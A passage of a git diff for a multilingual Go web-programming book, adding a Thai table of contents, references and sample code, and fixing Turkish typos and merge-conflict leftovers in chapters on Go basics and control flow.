statements and functions](02.3.md) + - 2.4. [struct](02.4.md) + - 2.5. [Object-oriented](02.5.md) + - 2.6. [interface](02.6.md) + - 2.7. [Concurrency](02.7.md) + - 2.8. [Summary](02.8.md) +- 3.[Web foundation](03.0.md) + - 3.1. [Web working principles](03.1.md) + - 3.2. [Build a simple web server](03.2.md) + - 3.3. [How Go works with web](03.3.md) + - 3.4. [Get into http package](03.4.md) + - 3.5. [Summary](03.5.md) +- 4.[User form](04.0.md) + - 4.1. [Process form inputs](04.1.md) + - 4.2. [Verification of inputs](04.2.md) + - 4.3. [Cross site scripting](04.3.md) + - 4.4. [Duplicate submissions](04.4.md) + - 4.5. [File upload](04.5.md) + - 4.6. [Summary](04.6.md) +- 5.[Database](05.0.md) + - 5.1. [database/sql interface](05.1.md) + - 5.2. [MySQL](05.2.md) + - 5.3. [SQLite](05.3.md) + - 5.4. [PostgreSQL](05.4.md) + - 5.5. [Develop ORM based on beedb](05.5.md) + - 5.6. [NoSQL database](05.6.md) + - 5.7. [Summary](05.7.md) +- 6.[Data storage and session](06.0.md) + - 6.1. [Session and cookies](06.1.md) + - 6.2. [How to use session in Go](06.2.md) + - 6.3. [Session storage](06.3.md) + - 6.4. [Prevent hijack of session](06.4.md) + - 6.5. [Summary](06.5.md) +- 7.[Text files](07.0.md) + - 7.1. [XML](07.1.md) + - 7.2. [JSON](07.2.md) + - 7.3. [Regexp](07.3.md) + - 7.4. [Templates](07.4.md) + - 7.5. [Files](07.5.md) + - 7.6. [Strings](07.6.md) + - 7.7. [Summary](07.7.md) +- 8.[Web services](08.0.md) + - 8.1. [Sockets](08.1.md) + - 8.2. [WebSocket](08.2.md) + - 8.3. [REST](08.3.md) + - 8.4. [RPC](08.4.md) + - 8.5. [Summary](08.5.md) +- 9.[Security and encryption](09.0.md) + - 9.1. [CSRF attacks](09.1.md) + - 9.2. [Filter inputs](09.2.md) + - 9.3. [XSS attacks](09.3.md) + - 9.4. [SQL injection](09.4.md) + - 9.5. [Password storage](09.5.md) + - 9.6. [Encrypt and decrypt data](09.6.md) + - 9.7. [Summary](09.7.md) +- 10.[Internationalization and localization](10.0.md) + - 10.1 [Time zone](10.1.md) + - 10.2 [Localized resources](10.2.md) + - 10.3 [International sites](10.3.md) + - 10.4 [Summary](10.4.md) +- 11.[Error handling, debugging and testing](11.0.md) + - 11.1. [Error handling](11.1.md) + - 11.2. [Debugging by using GDB](11.2.md) + - 11.3. [Write test cases](11.3.md) + - 11.4. [Summary](11.4.md) +- 12.[Deployment and maintenance](12.0.md) + - 12.1. [Logs](12.1.md) + - 12.2. [Errors and crashes](12.2.md) + - 12.3. [Deployment](12.3.md) + - 12.4. [Backup and recovery](12.4.md) + - 12.5. [Summary](12.5.md) +- 13.[Build a web framework](13.0.md) + - 13.1. [Project program](13.1.md) + - 13.2. [Customized routers](13.2.md) + - 13.3. [Design controllers](13.3.md) + - 13.4. [Logs and configurations](13.4.md) + - 13.5. [Add, delete and update blogs](13.5.md) + - 13.6. [Summary](13.6.md) +- 14.[Develop web framework](14.0.md) + - 14.1. [Static files](14.1.md) + - 14.2. [Session](14.2.md) + - 14.3. [Form](14.3.md) + - 14.4. [User validation](14.4.md) + - 14.5. [Multi-language support](14.5.md) + - 14.6. [pprof](14.6.md) + - 14.7. [Summary](14.7.md) +- Appendix A [References](ref.md) diff --git a/th/ref.md b/th/ref.md new file mode 100644 index 000000000..e3000bdd4 --- /dev/null +++ b/th/ref.md @@ -0,0 +1,13 @@ +# Appendix A References + +This book is a summary of my Go experience, some content are from other Gophers' either blogs or sites. Thanks to them! + +1. [golang blog](http://blog.golang.org) +2. [Russ Cox's blog](http://research.swtch.com/) +3. [go book](http://go-book.appsp0t.com/) +4. [golangtutorials](http://golangtutorials.blogspot.com) +5. [轩脉刃de刀光剑影](http://www.cnblogs.com/yjf512/) +6. [Go Programming Language](http://golang.org/doc/) +7. [Network programming with Go](http://jan.newmarch.name/go/) +8. [setup-the-rails-application-for-internationalization](http://guides.rubyonrails.org/i18n.html#setup-the-rails-application-for-internationalization) +9. [The Cross-Site Scripting (XSS) FAQ](http://www.cgisecurity.com/xss-faq.html) diff --git a/th/src/1.2/main.go b/th/src/1.2/main.go new file mode 100644 index 000000000..132c60a70 --- /dev/null +++ b/th/src/1.2/main.go @@ -0,0 +1,13 @@ +// 章节 1.2 +// $GOPATH/src/mathapp/main.go + +package main + +import ( + "fmt" + "mymath" +) + +func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) +} diff --git a/th/src/1.2/sqrt.go b/th/src/1.2/sqrt.go new file mode 100644 index 000000000..1d5960536 --- /dev/null +++ b/th/src/1.2/sqrt.go @@ -0,0 +1,11 @@ +// 章节 1.2 +// $GOPATH/src/mymath/sqrt.go +package mymath + +func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) + } + return z +} diff --git a/tr/.DS_Store b/tr/.DS_Store deleted file mode 100644 index f9996e518..000000000 Binary files a/tr/.DS_Store and /dev/null differ diff --git a/tr/01.2.md b/tr/01.2.md index d4e80b656..f1330692d 100644 --- a/tr/01.2.md +++ b/tr/01.2.md @@ -1,4 +1,4 @@ -#1.2 $GOPATH ve Çalışma Ortamı +# 1.2 $GOPATH ve Çalışma Ortamı ## $GOPATH @@ -90,7 +90,7 @@ Uygulamyı derlemek için, `$GOPATH/src/mathapp` dizinine geçip, `go install` k ## Üçüncü-parti paketleri kurmak -Üçüncü-parti paketleri kurmak için `go get` komutunu kullanabilirsiniz. Bir çok açık-kaynak platformu destekliyor; Github, Google Code, BitBucket, ve Launchpad. +Üçüncü-parti paketleri kurmak için `go get` komutunu kullanabilirsiniz. Bir çok açık-kaynak platformu destekliyor; GitHub, Google Code, BitBucket, ve Launchpad. go get github.com/astaxie/beedb diff --git a/tr/01.3.md b/tr/01.3.md index f22c4b623..774336ee0 100644 --- a/tr/01.3.md +++ b/tr/01.3.md @@ -1,4 +1,4 @@ -#1.3 Go Komutları +# 1.3 Go Komutları ## Go Komutları @@ -43,7 +43,7 @@ Derleyici tarafından oluşturulmuş aşağıdaki dosyaları temizler: DIR.test(.exe) // go test -c tarafından oluşturulmuş MAINFILE(.exe) // go build MAINFILE.go tarafından oluşturulmuş -Projelerimi Github'a göndermeden önce genellikle bu komutu çalıştırırım. Yereldeki testler için önemli, ama sürüm takip için gereksiz dosyalar. +Projelerimi GitHub'a göndermeden önce genellikle bu komutu çalıştırırım. Yereldeki testler için önemli, ama sürüm takip için gereksiz dosyalar. ## go fmt @@ -56,10 +56,10 @@ Projelerimi Github'a göndermeden önce genellikle bu komutu çalıştırırım. ## go get -Bu komut üçüncü parti paketleri almanızı sağlar. Şuanda; BitBucket, Github, Google Code ve Launchpad desteği sunuyor. Bu komutu çalıştırdığımızda iki şey yapılıyor. Birincisi Go kaynak kodunu indiriyor, ikinci olarakta `go install` komutunu çalıştırıyor. Bu komutu çalıştırmadan önce, gerekli araçları kurduğunuzdan emin olun. +Bu komut üçüncü parti paketleri almanızı sağlar. Şuanda; BitBucket, GitHub, Google Code ve Launchpad desteği sunuyor. Bu komutu çalıştırdığımızda iki şey yapılıyor. Birincisi Go kaynak kodunu indiriyor, ikinci olarakta `go install` komutunu çalıştırıyor. Bu komutu çalıştırmadan önce, gerekli araçları kurduğunuzdan emin olun. BitBucket (Mercurial Git) - Github (git) + GitHub (git) Google Code (Git, Mercurial, Subversion) Launchpad (Bazaar) diff --git a/tr/01.4.md b/tr/01.4.md index eea56ff86..bd57953cd 100644 --- a/tr/01.4.md +++ b/tr/01.4.md @@ -315,7 +315,7 @@ Eclipse'de çok tutulan geliştirme araçlarındandır. Size Eclipse ile nasıl [http://code.google.com/p/goclipse/wiki/InstallationInstructions](http://code.google.com/p/goclipse/wiki/InstallationInstructions) 3. gocode indirin - Github'dan gocode. + GitHub'dan gocode. https://github.com/nsf/gocode diff --git a/tr/01.5.md b/tr/01.5.md index 52b6c3f9d..167377543 100644 --- a/tr/01.5.md +++ b/tr/01.5.md @@ -1,6 +1,6 @@ # 1.5 Özet -Geçtiğimiz bölümde, kaynak kodu, standart paketleri ve üçüncü parti yazılımları kullanarak nasıl Go'yu kurabileceğimizi öğrendik. Daha sonra Go geliştirme ortamınızı nasıl ayarlayabileceğinizden bahsettik, genelde GOPATH ağırlıklı. Kurulum ve konfigürasyon işlemlerinden sonra Go nasıl derlenir ve yayınlanır konularından bahsettik. Go ile beraber gelen komut satırı uygulamlarını inceledik. Son olarak etkili bir şekilde Go programları yazmanızı sağlayacak bir kaç IDE'den bahsettik(LiteIDE, Sublime Text, Vim, Emacs, Eclipse, IntelliJ IDEA gibi). İstediğinizi seçip Go dünyasını keşfetmeye başlayabilirsiniz. +Geçtiğimiz bölümde, kaynak kodu, standart paketleri ve üçüncü parti yazılımları kullanarak nasıl Go'yu kurabileceğimizi öğrendik. Daha sonra Go geliştirme ortamınızı nasıl ayarlayabileceğinizden bahsettik, genelde GOPATH ağırlıklı. Kurulum ve konfigürasyon işlemlerinden sonra Go nasıl derlenir ve yayınlanır konularından bahsettik. Go ile beraber gelen komut satırı uygulamlarını inceledik. Son olarak etkili bir şekilde Go programları yazmanızı sağlayacak bir kaç IDE'den bahsettik(LiteIDE, Sublime Text, Vim, GoLand, Emacs, Eclipse, IntelliJ IDEA gibi). İstediğinizi seçip Go dünyasını keşfetmeye başlayabilirsiniz. ## Linkler diff --git a/tr/02.0.md b/tr/02.0.md index 7a7f91eb1..974d4e785 100644 --- a/tr/02.0.md +++ b/tr/02.0.md @@ -1,6 +1,6 @@ # 2 Temel Go bilgisi -Go, C ailesine ait derlenen bir sistem programala dilidir. Fakat, derlenme hızı diğer C ailesi dillerinden oldukça fazladır. Sadece 25 anahtar kelimeye sahip... 26 harflik İngiliz alfabesinden bile daha az! Başlamadan önce bu anahtar kelimelere bir göz atalım. +Go, C ailesine ait derlenen bir sistem programlama dilidir. Fakat, derlenme hızı diğer C ailesi dillerinden oldukça fazladır. Sadece 25 anahtar kelimeye sahip... 26 harflik İngiliz alfabesinden bile daha az! Başlamadan önce bu anahtar kelimelere bir göz atalım. break default func interface select case defer go map struct diff --git a/tr/02.2.md b/tr/02.2.md index a5a8084e3..7c84cba3b 100644 --- a/tr/02.2.md +++ b/tr/02.2.md @@ -38,7 +38,7 @@ Aslında bu çözümünde yeterince basit olmadığını biliyorum. Bakalım dah Şimdi daha iyi gibi.`:=` kullanarak `var` ve `type` ihmal edilebiliyor, buna öz ifade deniyor. Ama bir dakika, tek bir şart var: bu yöntemi sadece fonksiyon içinde kullanabilirsiniz. Fonksiyon gövdesi dışında kullanırsanız derleme hatası alırsnız. Bundan dolayı, global değişkenler için `var` kullanıyoruz ve kısa tanımalar içinde `var()` anahtar kelimesini. -`_` (boş) özel bir değişken ismi. Verilen her değer yoksayılır. Örneğin, `35`değerini `b`'ye' atıyoruz ve`34` değerini yoksayıyoruz.( ***Bu örnek sadece nasıl çalıştığını gösteriyor. Genelde fonksiyonlardan dönen değerleri yoksaymak iiçin kullanıyoruz*** ) +`_` (boş) özel bir değişken ismi. Verilen her değer yoksayılır. Örneğin, `35`değerini `b`'ye' atıyoruz ve`34` değerini yoksayıyoruz.( ***Bu örnek sadece nasıl çalıştığını gösteriyor. Genelde fonksiyonlardan dönen değerleri yoksaymak için kullanıyoruz*** ) _, b := 34, 35 @@ -161,17 +161,17 @@ Go `error` adında, hata mesajlarını kontrol etmek için, bir veri tipine sahi ### Temel veri yapıları -Aşağıdaki resim [Go veri yapısı](http://research.swtch.com/godata) adlı yazıdan, [Russ Cox Blog'undan](http://research.swtch.com/). Gördüğünüz üzere, Go verileri sakalamak için bellek blokklarını kullanıyor. +Aşağıdaki resim [Go veri yapısı](http://research.swtch.com/godata) adlı yazıdan, [Russ Cox Blog'undan](http://research.swtch.com/). Gördüğünüz üzere, Go verileri saklamak için bellek bloklarını kullanıyor. ![](images/2.2.basic.png?raw=true) Şekil 2.1 Go temel veri yapıları -## Programalama ipuçları +## Programlama ipuçları ### Grup halinde değişken tanımalama -Birden fazla tanımala yapcaksanız grup formunu kullanabilirsiniz. +Birden fazla tanımlama yapacaksanız grup formunu kullanabilirsiniz. Temel form. @@ -365,7 +365,7 @@ Dikkat: `append`, `slice`'ın göstediği diziyi değiştirecektir ve aynı dizi Örnek üzerinden gidelim. 'set' ve 'get' işlemleri `slice` ile aynıdır, ancak `slice`'ın indeksi sadece `int` olabilir, `map`'te ise bir çok tip olabilir: `int`, `string` ya da ne isterseniz. Karşılaştırma işlemleri için `==` ve `!=` operatörleri kullanılabilir. - // anhatar tipi string, değer tipi int olan `map`'i' `make` ile oluştur. + // anahtar tipi string, değer tipi int olan `map`'i' `make` ile oluştur. var numbers map[string] int // oluşturmak için başka bir yol numbers := make(map[string]int) diff --git a/tr/02.3.md b/tr/02.3.md index 75d173c49..d49681417 100644 --- a/tr/02.3.md +++ b/tr/02.3.md @@ -13,31 +13,18 @@ Akış kontrolü programcılıkta en büyük icattır. Onun sayesinde, basit kon `if` şartları için Go da paranteze gerek yoktur. if x > 10 { -<<<<<<< HEAD fmt.Println("x 10'dan büyüktür") } else { fmt.Println("x 10'dan küçük veya eşittir") -======= - fmt.Println("x is greater than 10") - } else { - fmt.Println("x is less than or equal to 10") ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } Go da çok işe yarar bir `if` kullanımı, şart ifadesinden önce değişken tanımlama yapmaktır. Bu değişkenin kapsamı sadece `if` blok alanı içerisinde geçerlidir. // x'i tanımla, ve 10 dan büyük olup olmadığını kontrol et -<<<<<<< HEAD if x := islenenDeger(); x > 10 { fmt.Println("x 10'dan büyüktür") } else { fmt.Println("x 10'dan küçüktür") -======= - if x := computedValue(); x > 10 { - fmt.Println("x is greater than 10") - } else { - fmt.Println("x is less than 10") ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } // Bu satır derlenemez @@ -45,21 +32,12 @@ Go da çok işe yarar bir `if` kullanımı, şart ifadesinden önce değişken t Birden fazla şart için `if-else` kullanın. -<<<<<<< HEAD if sayı == 3 { fmt.Println("Sayı 3'e eşittir") } else if integer < 3 { fmt.Println("Sayı 3'ten küçüktür") } else { fmt.Println("Sayı 3'ten büyüktür") -======= - if integer == 3 { - fmt.Println("The integer is equal to 3") - } else if integer < 3 { - fmt.Println("The integer is less than 3") - } else { - fmt.Println("The integer is greater than 3") ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } ### goto @@ -68,17 +46,10 @@ Go da `goto` terimi mevcuttur fakat kullanırken dikkatli olun. `goto` programı func myFunc() { i := 0 -<<<<<<< HEAD Buraya: // label sonuna ":" koyulur fmt.Println(i) i++ goto Buraya // "Buraya" labeline git -======= - Here: // label ends with ":" - fmt.Println(i) - i++ - goto Here // jump to label "Here" ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } Label'ın adı büyük-küçük harfe duyarlıdır. @@ -87,19 +58,11 @@ Label'ın adı büyük-küçük harfe duyarlıdır. `for` Go da bulunan en güçlü kontrol lojiğidir. Datayı döngüsel olarak ve tekrarlı işlemlerle okuyabilir, `while` döngüsü gibi. -<<<<<<< HEAD for ifade1; ifade2; ifade3 { //... } `ifade1`, `ifade2` ve `ifade3` birer ifade olmak üzere, `ifade1` ve `ifade3` değişken tanımlama veya bir fonksiyondan dönen değer olabilirken, `ifade2` ise kontrol ifadesidir. `ifade1` ifadesi döngüye girmeden önce bir kere işlenecektir. `ifade3` ise her döngü sonunda işlenir. -======= - for expression1; expression2; expression3 { - //... - } - -`expression1`, `expression2` ve `expression3` birer ifade olmak üzere, `expression1` ve `expression3` değişken tanımlama veya bir fonksiyondan dönen return olabilirken, `expression2` ise kontrol ifadesidir. `expression1` ifadesi döngüye girmeden önce bir kere işlenecektir. `expression3` ise her döngü sonunda işlenir. ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa Örnekler düz yazıdan daha yararlı olacaktır. @@ -107,7 +70,6 @@ Label'ın adı büyük-küçük harfe duyarlıdır. import "fmt" func main(){ -<<<<<<< HEAD toplam := 0; for index:=0; index < 10 ; index++ { toplam += index @@ -123,85 +85,43 @@ Bazen birden fazla atama yapmak gerekir fakat Go bunun için kullanılacak bir ` toplam := 1 for ; toplam < 1000; { toplam += toplam -======= - sum := 0; - for index:=0; index < 10 ; index++ { - sum += index - } - fmt.Println("sum is equal to ", sum) - } - // Print:sum is equal to 45 - -Bazen birden fazla atama yapmak gerekir fakat Go bunun için kullanılacak bir `,` operatörü yoktur. Biz de `i, j = i + 1, j - 1` gibi paralel atamalar yaparız. - -İhtiyacımız yoksa `expression1` ve `expression1` ifadelerini çıkarabiliriz. - - sum := 1 - for ; sum < 1000; { - sum += sum ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } Hatta `;` bile çıkarılabilir. Tanıdık geldi mi? Evet, tamamen `while` gibi oldu. -<<<<<<< HEAD toplam := 1 for toplam < 1000 { toplam += toplam -======= - sum := 1 - for sum < 1000 { - sum += sum ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } Döngülerde `break` ve `continue` adında iki önemli işlem vardır. `break` döngüden çıkartır ve `continue` o anki tekrarı atlar ve sonraki tekrara geçer. Eğer birden fazla iç içe döngüleriniz varsa `break` ile labelları kullabilirsiniz. for index := 10; index>0; index-- { if index == 5{ -<<<<<<< HEAD break // veya continue } fmt.Println(index) } // break varsa yazılanlar: 10、9、8、7、6 // continue varsa yazılanlar: 10、9、8、7、6、4、3、2、1 -======= - break // or continue - } - fmt.Println(index) - } - // break prints 10、9、8、7、6 - // continue prints 10、9、8、7、6、4、3、2、1 ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa `for` döngüsü `range` kullanıldığında `slice` ve `map` de bulunan datayı okuyabilir. for k,v:=range map { -<<<<<<< HEAD fmt.Println("map'in k anahtarı:", k) fmt.Println("map'in k anahtarındaki değeri:", v) -======= - fmt.Println("map's key:",k) - fmt.Println("map's val:",v) ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } Go da birden fazla değer return yapılabildiği ve kullanılmayan bir değişken olduğunda derleyici hata verdiği için, kullanmak istemediğiniz değişkenler için `_` kullanabilirsiniz. for _, v := range map{ -<<<<<<< HEAD fmt.Println("map'in değeri:", v) -======= - fmt.Println("map's val:", v) ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } ### switch Bazı durumlarda çok fazla `if-else` kullandığınızı farkedebilirsiniz. Bu programı okumayı zorlaştırır ve gelecekte bakım yapmayı zorlaştırabilir. Bu durumda problemi çözmek için `switch` kullanmak mükemmeldir. -<<<<<<< HEAD switch anaIfade { case ifade1: // eşleşme olursa işlenecek kod @@ -211,17 +131,6 @@ Bazı durumlarda çok fazla `if-else` kullandığınızı farkedebilirsiniz. Bu // eşleşme olursa işlenecek kod default: // eşleşme olmazsa işlenecek kod -======= - switch sExpr { - case expr1: - some instructions - case expr2: - some other instructions - case expr3: - some other instructions - default: - other code ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } `sExpr`, `expr1`, `expr2`, ve `expr3` ifadelerinin türleri aynı olmalıdır. `switch` çok esnektir. Şartlar sabit olmak zorunda değildir ve şart sağlanana kadar yukarıdan aşağıya doğru çalışır. Eğer `switch` in ardından bir ifade gelmiyorsa `true` olarak görülür. @@ -229,7 +138,6 @@ Bazı durumlarda çok fazla `if-else` kullandığınızı farkedebilirsiniz. Bu i := 10 switch i { case 1: -<<<<<<< HEAD fmt.Println("i 1'e eşittir") case 2, 3, 4: fmt.Println("i 2, 3 veya 4'e eşittir") @@ -237,20 +145,10 @@ Bazı durumlarda çok fazla `if-else` kullandığınızı farkedebilirsiniz. Bu fmt.Println("i 10'a eşittir") default: fmt.Println("Tek bildiğim i nin bir sayi olduğu") -======= - fmt.Println("i is equal to 1") - case 2, 3, 4: - fmt.Println("i is equal to 2, 3 or 4") - case 10: - fmt.Println("i is equal to 10") - default: - fmt.Println("All I know is that i is an integer") ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } Beşinci satırdaki gibi `case` içinde birden fazla değer olabilir. `case` sonlarına `break` eklemeye gerek yoktur, şart sağlanıp işlem yapıldıktan sonra çıkacaktır. Eğer çıkmasını istemiyorsanız `fallthrough` ifadesini kullanarak bir sonraki şarta devam edebilirsiniz. -<<<<<<< HEAD sayı := 6 switch sayı { case 4: @@ -287,59 +185,14 @@ Programın sonucu şu olacaktır. // fonksiyon gövdesi // birden fazla return return dönüş1, dönüş2 -======= - integer := 6 - switch integer { - case 4: - fmt.Println("integer <= 4") - fallthrough - case 5: - fmt.Println("integer <= 5") - fallthrough - case 6: - fmt.Println("integer <= 6") - fallthrough - case 7: - fmt.Println("integer <= 7") - fallthrough - case 8: - fmt.Println("integer <= 8") - fallthrough - default: - fmt.Println("default case") - } - -This program prints the following information. - - integer <= 6 - integer <= 7 - integer <= 8 - default case - -## Functions - -`func` terimini kullanarak bir fonksiyon tanımlayın. - - func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) { - // function body - // multi-value return - return value1, value2 ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } Yukarıdaki örnekten tahmin edebileceğiniz üzere aşağıda açıklamaları bulunur. -<<<<<<< HEAD -- `fonksiyonAdı` adlı foonksiyonu tanımlamak için `func` terimini kullanın. +- `fonksiyonAdı` adlı fonksiyonu tanımlamak için `func` terimini kullanın. - Fonksiyonlar sıfır veya daha fazla parametreye sahip olabilir. Parametrenin türü adından sonra gelir ve birden fazla parametre varsa `,` ile ayrılır. - Fonksiyonlar birden fazla değer döndürebilirler. - Bu örnekte `çıkış1` ve `çıkış2` adında iki değer döndürülmüş. Bunlara ad vermek zorunda değilsiniz, türünü yazmanız yeterli. -======= -- `funcName` adlı foonksiyonu tanımlamak için `func` terimini kullanın. -- Fonksiyonlar sıfır veya daha fazla parametreye sahip olabilir. Parametrenin türü adından sonra gelir ve birden fazla parametre varsa `,` ile ayrılır. -- Fonksiyonlar birden fazla değer döndürebilirler. -- Bu örnekte `output1` ve `output2` adında iki değer döndürülmüş. Bunlara ad vermek zorunda değilsiniz, türünü yazmanız yeterli. ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa - Eğer sadece bir değer döndürecekseniz parantez olmadan yazmalısınız. - Eğer en az bir değer döndürüyorsanız, fonksiyonun içinde istediğiniz yerde `return` terimini kullanmalısınız. @@ -348,11 +201,7 @@ Yukarıdaki örnekten tahmin edebileceğiniz üzere aşağıda açıklamaları b package main import "fmt" -<<<<<<< HEAD // a ile b arasından büyük olanı döndür -======= - // return greater value between a and b ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa func max(a, b int) int { if a > b { return a @@ -365,21 +214,12 @@ Yukarıdaki örnekten tahmin edebileceğiniz üzere aşağıda açıklamaları b y := 4 z := 5 -<<<<<<< HEAD max_xy := max(x, y) // max(x, y) fonskiyonunu çağır max_xz := max(x, z) // max(x, z) fonksiyonunu çağır fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // burada da fonksiyon çağırıldı -======= - max_xy := max(x, y) // call function max(x, y) - max_xz := max(x, z) // call function max(x, z) - - fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) - fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) - fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // call function here ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } Yukarıdaki örnek fonksiyon `max` da iki aynı tür parametre `int` olduğu için bir tane yazmak yeterli olur. Yani `a int, b int` yerine `a, b int` kullanılır. Birden fazla parametre için de aynı kural geçerlidir. Farkettiyseniz `max` fonksiyonu sadece bir değer döndürür ve zorunda olmadığımız için o değere bir isim vermedik, bu kısa halini kullandık. @@ -393,13 +233,8 @@ Alttaki örnekte bunu kullanalım. package main import "fmt" -<<<<<<< HEAD // A+B ve A*B nin sonuçlarını döndür func toplaVeCarp(A, B int) (int, int) { -======= - // return results of A + B and A * B - func SumAndProduct(A, B int) (int, int) { ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa return A+B, A*B } @@ -407,30 +242,17 @@ Alttaki örnekte bunu kullanalım. x := 3 y := 4 -<<<<<<< HEAD - xARTIy, xCARPIy := SumAndProduct(x, y) + xARTIy, xCARPIy := toplaVeCarp(x, y) fmt.Printf("%d + %d = %d\n", x, y, xARTIy) fmt.Printf("%d * %d = %d\n", x, y, xCARPIy) -======= - xPLUSy, xTIMESy := SumAndProduct(x, y) - - fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) - fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } Üstteki fonksiyon isimsiz iki değer döndürür -isterseniz isim verebilirsiniz. Eğer isimlendirseydik, `return` yazıp isimlerini yazmamız yeterdi. Çünkü fonksiyonun içinde tanımlılar. Şuna dikkat etmelisiniz ki eğer fonksiyonu başka bir pakette kullanacaksanız (fonksiyonun ilk harfi büyük harfle başlamalıdır) `return` yapacaklarınızı tam bir ifade olarak yazmanız daha iyi olacaktır. Kodu daha okunur hale getirir. -<<<<<<< HEAD func ToplaVeCarp(A, B int) (toplanan int, carpılan int) { toplanan = A+B carpılan = A*B -======= - func SumAndProduct(A, B int) (add int, multiplied int) { - add = A+B - multiplied = A*B ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa return } @@ -443,11 +265,7 @@ Go birden fazla argüman alabilen fonksiyonları destekler. Bunlara variadic (be `arg …int` kısmı Go ya bu fonksiyonun değişen sayıda argüman aldığını söyler. Bu argümanların türü `int` dir. `arg` fonksiyonun gövdesinde `int` türünde bir `slice` olur. for _, n := range arg { -<<<<<<< HEAD fmt.Printf("Sayı: %d\n", n) -======= - fmt.Printf("And the number is: %d\n", n) ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } ### Değer ile devretmek ve pointerlar @@ -459,23 +277,15 @@ Bunun kanıtı olarak bir örnek görelim. package main import "fmt" -<<<<<<< HEAD // a ya 1 eklemek için basit bir fonksiyon func birEkle(a int) int { a = a+1 // a'nın değeri değişti return a // a'nın yeni değeri döndürülüyor -======= - // simple function to add 1 to a - func add1(a int) int { - a = a+1 // we change value of a - return a // return new value of a ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } func main() { x := 3 -<<<<<<< HEAD fmt.Println("x = ", x) // sonuç "x = 3" olmalı x1 := birEkle(x) // birEkle(x) fonksiyonu çağırıldı @@ -491,58 +301,25 @@ Sebebi basit: `birEkle` i çağırdığımızda ona `x` in bir kopyasını gönd Şimdi sorabilirsiniz `x` in kendisini nasıl fonksiyona verebilirim diye. Burada pointer kullanmamız gerekiyor. Biliyoruz ki değişkenler bellekte tutulur ve bir adresleri vardır. Eğer değişkenin aslını değiştirmek istiyorsak onun bellek adresini kullanmalıyız. Böylelikle `birEkle` fonksiyonu `x` in adresini kullanarak onun değerini değiştirebilir. Parametre türünü `*int` olarak değiştiriyoruz ve değişkenin adresini `&x` ile fonksiyona veriyoruz. Fonksiyona değerin bir kopyasını değil de bir pointer verdiğimize dikkat edin. -======= - fmt.Println("x = ", x) // should print "x = 3" - - x1 := add1(x) // call add1(x) - - fmt.Println("x+1 = ", x1) // should print "x+1 = 4" - fmt.Println("x = ", x) // should print "x = 3" - } - -Gördünüz mü? `add1` fonksiyonuna `x` i gönderdiğimiz halde asıl değeri değişmedi. - -Sebebi basit: `add1` i çağırdığımızda ona `x` in bir kopyasını gönderdik `x` in kendisini değil. - -Şimdi sorabilirsiniz `x` in kendisini nasıl fonksiyona verebilirim diye. - -Burada pointer kullanmamız gerekiyor. Biliyoruz ki değişkenler bellekte tutulur ve bir adresleri vardır. Eğer değişkenin aslını değiştirmek istiyorsak onun bellek adresini kullanmalıyız. Böylelikle `add1` fonksiyonu `x` in adresini kullanarak onun değerini değiştirebilir. Parametre türünü `*int` olarak değiştiriyoruz ve değişkenin adresini `&x` ile fonksiyona veriyoruz. Fonksiyona değerin bir kopyasını değil de bir pointer verdiğimize dikkat edin. ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa package main import "fmt" -<<<<<<< HEAD // a ya 1 eklemek için basit bir fonksiyon func birEkle(a *int) int { *a = *a+1 // a'nın değeri değişti return *a // a'nın yeni değeri döndürülüyor -======= - // simple function to add 1 to a - func add1(a *int) int { - *a = *a+1 // we changed value of a - return *a // return new value of a ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } func main() { x := 3 -<<<<<<< HEAD fmt.Println("x = ", x) // sonuç "x = 3" olmalı - x1 := add1(&x) // birEkle(x) fonksiyonu çağırıldı ve x'in adresi verildi + x1 := birEkle(&x) // birEkle(x) fonksiyonu çağırıldı ve x'in adresi verildi fmt.Println("x+1 = ", x1) // sonuç "x+1 = 4" olmalı fmt.Println("x = ", x) // sonuç "x = 4" olmalı -======= - fmt.Println("x = ", x) // should print "x = 3" - - x1 := add1(&x) // call add1(&x) pass memory address of x - - fmt.Println("x+1 = ", x1) // should print "x+1 = 4" - fmt.Println("x = ", x) // should print "x = 4" ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa } Şimdi `x` in asıl değerini değiştirebiliriz. Neden pointer kullanıyoruz? Avantajı nedir? @@ -555,26 +332,15 @@ Burada pointer kullanmamız gerekiyor. Biliyoruz ki değişkenler bellekte tutul Go da iyi tasarlanmış `defer` (ertelemek) adlı bir terim vardır. Bir fonksiyonda birden fazla `defer` ifadesi bulunabilir, program çalıştığında sondan başa sırayla çalışacaklardır. Programın dosya açtığı durumlarda bu dosyaların hata vermeden önce kapatılması gerekir. Örneklere bakalım. -<<<<<<< HEAD func OkuYaz() bool { 